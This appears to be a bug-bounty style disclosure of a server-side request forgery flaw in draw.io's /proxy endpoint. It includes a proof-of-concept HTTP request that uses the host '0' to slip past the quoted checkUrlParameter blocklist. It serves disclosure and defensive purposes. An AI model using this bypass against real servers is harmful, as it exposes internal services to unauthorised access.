Description

draw.io is vulnerable to SSRF on the /proxy endpoint. It’s trivial to bypass the protections on checkUrlParameter.

Proof of Concept

1. Make a request to proxy?url=http%3a//0:8080/

GET /proxy?url=http%3a//0:8080/ HTTP/1.1
Host: 127.0.0.1:8080
sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="101"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36
sec-ch-ua-platform: "macOS"
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty

The url parameter is set to http%3a//0:8080/ bypassing the checkUrlParameter function :

public boolean checkUrlParameter(String url)
	{
		if (url != null)
		{
			try
			{
				URL parsedUrl = new URL(url);
				String protocol = parsedUrl.getProtocol();
				String host = parsedUrl.getHost().toLowerCase();

				return (protocol.equals("http") || protocol.equals("https"))
						&& !host.endsWith(".internal")
						&& !host.endsWith(".local")
						&& !host.contains("localhost")
						&& !host.startsWith("0.") // 0.0.0.0/8
						&& !host.startsWith("10.") // 10.0.0.0/8
						&& !host.startsWith("127.") // 127.0.0.0/8

						&& !host.endsWith(".arpa"); // reverse domain (needed?)
			}

On this PoC we used the 0 host that it’s equal to 0.0.0.0.
There are several ways to bypass this protection.
